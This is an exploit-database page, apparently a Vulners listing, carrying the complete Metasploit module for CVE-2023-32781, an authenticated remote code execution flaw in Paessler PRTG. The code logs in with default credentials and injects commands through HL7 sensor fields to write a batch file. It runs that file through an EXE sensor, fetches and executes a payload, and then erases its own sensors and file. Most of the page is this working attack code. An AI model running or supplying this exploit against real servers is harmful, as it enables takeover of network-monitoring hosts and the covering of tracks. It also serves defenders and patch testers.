Lucene search
K

PRTG Authenticated Remote Code Execution Exploit

🗓️ 24 Jan 2024 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 541 Views

PRTG Authenticated Remote Code Execution Exploit. Authenticated RCE in Paessler PRTG. It has excellent ranking, affects Windows, and has a stable and repeatable session with artifacts on disk and IOC in logs

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2023-32781
9 Aug 202312:15
attackerkb
Circl
CVE-2023-32781
9 Aug 202318:08
circl
CNNVD
Paessler PRTG Network Monitor Command Injection Vulnerability
9 Aug 202300:00
cnnvd
CVE
CVE-2023-32781
9 Aug 202300:00
cve
Cvelist
CVE-2023-32781
9 Aug 202300:00
cvelist
Metasploit
PRTG CVE-2023-32781 Authenticated RCE
22 Jan 202419:50
metasploit
NVD
CVE-2023-32781
9 Aug 202312:15
nvd
OSV
CVE-2023-32781
9 Aug 202312:15
osv
Packet Storm
PRTG Authenticated Remote Code Execution
23 Jan 202400:00
packetstorm
Prion
Command injection
9 Aug 202312:15
prion
Rows per page
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Retry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PRTG CVE-2023-32781 Authenticated RCE',
        'Description' => %q{
          Authenticated RCE in Paessler PRTG
        },
        'License' => MSF_LICENSE,
        'Author' => ['Kevin Joensen <kevin[at]baldur.dk>'],
        'References' => [
          [ 'URL', 'https://baldur.dk/blog/prtg-rce.html'],
          [ 'CVE', '2023-32781']
        ],
        'DisclosureDate' => '2023-08-09',
        'Platform' => 'win',
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Targets' => [
          [
            'Windows_Fetch',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'win',
              'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
              'Type' => :win_fetch
            }
          ],
          [
            'Windows_CMDStager',
            {
              'Arch' => [ ARCH_X64, ARCH_X86 ],
              'Platform' => 'win',
              'Type' => :win_cmdstager,
              'CmdStagerFlavor' => [ 'psh_invokewebrequest' ]
            }
          ]
        ],
        'DefaultTarget' => 0,

        'DefaultOptions' => {},
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new(
          'USERNAME',
          [ true, 'The username to authenticate with', 'prtgadmin' ]
        ),
        OptString.new(
          'PASSWORD',
          [ true, 'The password to authenticate with', 'prtgadmin' ]
        ),
        OptString.new(
          'TARGETURI',
          [ true, 'The URI for the PRTG web interface', '/' ]
        )
      ]
    )
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(datastore['URI'], '/index.htm')
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      return CheckCode::Unknown
    ensure
      disconnect
    end

    if res && res.code == 200
      prtg_server_header = res.headers['Server']

      if (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')
        return CheckCode::Detected
      end
    end

    return CheckCode::Unknown
  end

  def exploit
    @sensors_to_delete = []

    connect
    case target['Type']
    when :win_cmdstager
      execute_cmdstager
    when :win_fetch
      execute_command(payload.encoded)
    end
  end

  def on_new_session(client)
    super
    @sensors_to_delete.each do |sensor_id|
      delete_sensor_by_id(sensor_id)
    end
    print_good('Session created')
  end

  def execute_command(cmd, _opts = {})
    print_status('Running PRTG RCE exploit')
    authenticate_prtg
    bat_file_name = write_bat_file_to_disk(cmd)
    run_bat_file_from_disk(bat_file_name)
    print_status('Exploit done')
    handler
  end

  def authenticate_prtg
    print_status('Authenticating against PRTG')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'public', 'checklogin.htm'),
      'keep_cookies' => true,
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })
    unless res
      fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
    end
    if res && res.code == 302 && res.get_cookies
      print_good('Successfully authenticated against PRTG')
    else
      fail_with(Failure::NoAccess, 'Failure to authenticate against PRTG')
    end
  end

  def get_csrf_token
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'welcome.htm'),
      'keep_cookies' => true
    })

    if res.nil? || res.body.nil?
      fail_with(Failure::NoAccess, 'Page with CSRF token not available')
    end

    regex = /csrf-token" content="([^"]+)"/
    token = res.body[regex, 1]

    print_status("Extracted csrf token: #{token}")
    token
  end

  def delete_sensor_by_id(sensor_id)
    print_status("Deleting sensor #{sensor_id}")
    csrf_token = get_csrf_token

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'deleteobject.htm'),
      'keep_cookies' => true,
      'headers' => {
        'anti-csrf-token' => csrf_token,
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {
        id: sensor_id,
        approve: 1
      }
    })

    if res.nil? || res.body.nil?
      fail_with(Failure::NoAccess, 'Sensor deletion failed')
    end
  end

  def get_created_sensor_id(sensor_name)
    print_status('Fetching created sensor id')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'controls', 'deviceoverview.htm'),
      'keep_cookies' => true,
      'vars_get' => {
        'id' => 40
      }
    })

    if res.nil? || res.body.nil?
      fail_with(Failure::NoAccess, 'Page with sensorid not available')
    end

    regex = /id=([0-9]+)">#{sensor_name}/
    sensor_id = res.body[regex, 1]

    print_status("Extracted sensor_id: #{sensor_id}")
    sensor_id
  end

  def run_sensor_with_id(sensor_id)
    csrf_token = get_csrf_token
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'scannow.htm'),
      'keep_cookies' => true,
      'headers' => {
        'anti-csrf-token' => csrf_token,
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {
        id: sensor_id
      }
    })

    if res && res.code == 200
      print_good('Sensor started running')
    else
      fail_with(Failure::NoAccess, 'Failure to run sensor')
    end
  end

  def write_bat_file_to_disk(cmd)
    # Uses the HL7Sensor for writing a .bat file to the disk
    cmd = cmd.gsub! '\\', '\\\\\\'
    print_status('Writing .bat to disk')

    csrf_token = get_csrf_token

    # Generate a random sensor name
    sensor_name = Rex::Text.rand_text_alphanumeric(8..10)
    bat_file_name = "#{Rex::Text.rand_text_alphanumeric(8..10)}.bat"

    # Clean up the .bat file
    cmd = "#{cmd} & del %0"

    print_status("Generated sensor_name #{sensor_name}")
    print_status("Generated bat_file_name #{bat_file_name}")

    params = {
      'name_' => sensor_name,
      'parenttags_' => '',
      'tags_' => 'dicom hl7',
      'priority_' => '3',
      'port_' => '104',
      'timeout_' => '60',
      'override_' => '0',
      'sendapp_' => Rex::Text.rand_text_alphanumeric(4..5),
      'sendfac_' => Rex::Text.rand_text_alphanumeric(4..5),
      'recvapp_' => Rex::Text.rand_text_alphanumeric(4..5),
      'recvfac_' => "#{Rex::Text.rand_text_alphanumeric(4..5)}\" -debug=\"..\\Custom Sensors\\EXE\\#{bat_file_name}\" -recvapp=\"#{Rex::Text.rand_text_alphanumeric(4..5)}",
      'hl7file_' => "ADT_& #{cmd} & A08.hl7|ADT_A08.hl7||",
      'hl7filename' => '',
      'intervalgroup' => ['0', '1'],
      'interval_' => '60|60 seconds',
      'errorintervalsdown_' => '1',
      'inherittriggers' => '1',
      'id' => '40',
      'sensortype' => 'hl7',
      'tmpid' => '2',
      'anti-csrf-token' => csrf_token
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),
      'keep_cookies' => true,
      'vars_post' => params
    })

    unless res
      fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
    end

    if res && res.code == 302
      print_good('HL7 Sensor succesfully created')
    else
      fail_with(Failure::NoAccess, 'Failure to create HL7 sensor')
    end
    # Actually creating the sensor can take 1-2 seconds
    print_status('Checking for sensor creation')
    sensor_id = retry_until_truthy(timeout: 10) do
      get_created_sensor_id(sensor_name)
    end

    print_status('Requesting HL7 Sensor to initiate scan')

    run_sensor_with_id(sensor_id)
    @sensors_to_delete.push(sensor_id)

    print_good('.bat file written to disk')
    bat_file_name
  end

  def run_bat_file_from_disk(bat_file_name)
    print_status("Running the .bat file: #{bat_file_name}")
    csrf_token = get_csrf_token
    sensor_name = Rex::Text.rand_text_alphanumeric(8..10)

    params = {
      'name_' => sensor_name,
      'parenttags_' => '',
      'tags_' => 'exesensor',
      'priority_' => '3',
      'scriptplaceholdergroup' => '1',
      'scriptplaceholder1description_' => '',
      'scriptplaceholder1_' => '',
      'scriptplaceholder2description_' => '',
      'scriptplaceholder2_' => '',
      'scriptplaceholder3description_' => '',
      'scriptplaceholder3_' => '',
      'scriptplaceholder4description_' => '',
      'scriptplaceholder4_' => '',
      'scriptplaceholder5description_' => '',
      'scriptplaceholder5_' => '',
      'exefile_' => "#{bat_file_name}|#{bat_file_name}||",
      'exefilelabel' => '',
      'exeparams_' => '',
      'environment_' => '0',
      'usewindowsauthentication_' => '0',
      'mutexname_' => '',
      'timeout_' => '60',
      'valuetype_' => '0',
      'channel_' => 'Value',
      'unit_' => '#',
      'monitorchange_' => '0',
      'writeresult_' => '0',
      'intervalgroup' => '0',
      'interval_' => '43200|12 hours',
      'errorintervalsdown_' => '1',
      'inherittriggers' => '1',
      'id' => '40',
      'sensortype' => 'exe',
      'tmpid' => '6',
      'anti-csrf-token' => csrf_token
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),
      'keep_cookies' => true,
      'vars_post' => params
    })

    unless res
      fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
    end

    if res && res.code == 302
      print_status('EXE Script sensor created')
    else
      fail_with(Failure::NoAccess, 'Failure to create EXE Script sensor')
    end

    print_status('Checking for sensor creation')

    sensor_id = retry_until_truthy(timeout: 10) do
      get_created_sensor_id(sensor_name)
    end
    run_sensor_with_id(sensor_id)
    @sensors_to_delete.push(sensor_id)
    print_good('Exploit completed. Waiting for payload')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Jan 2024 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.17.2
EPSS0.47218
541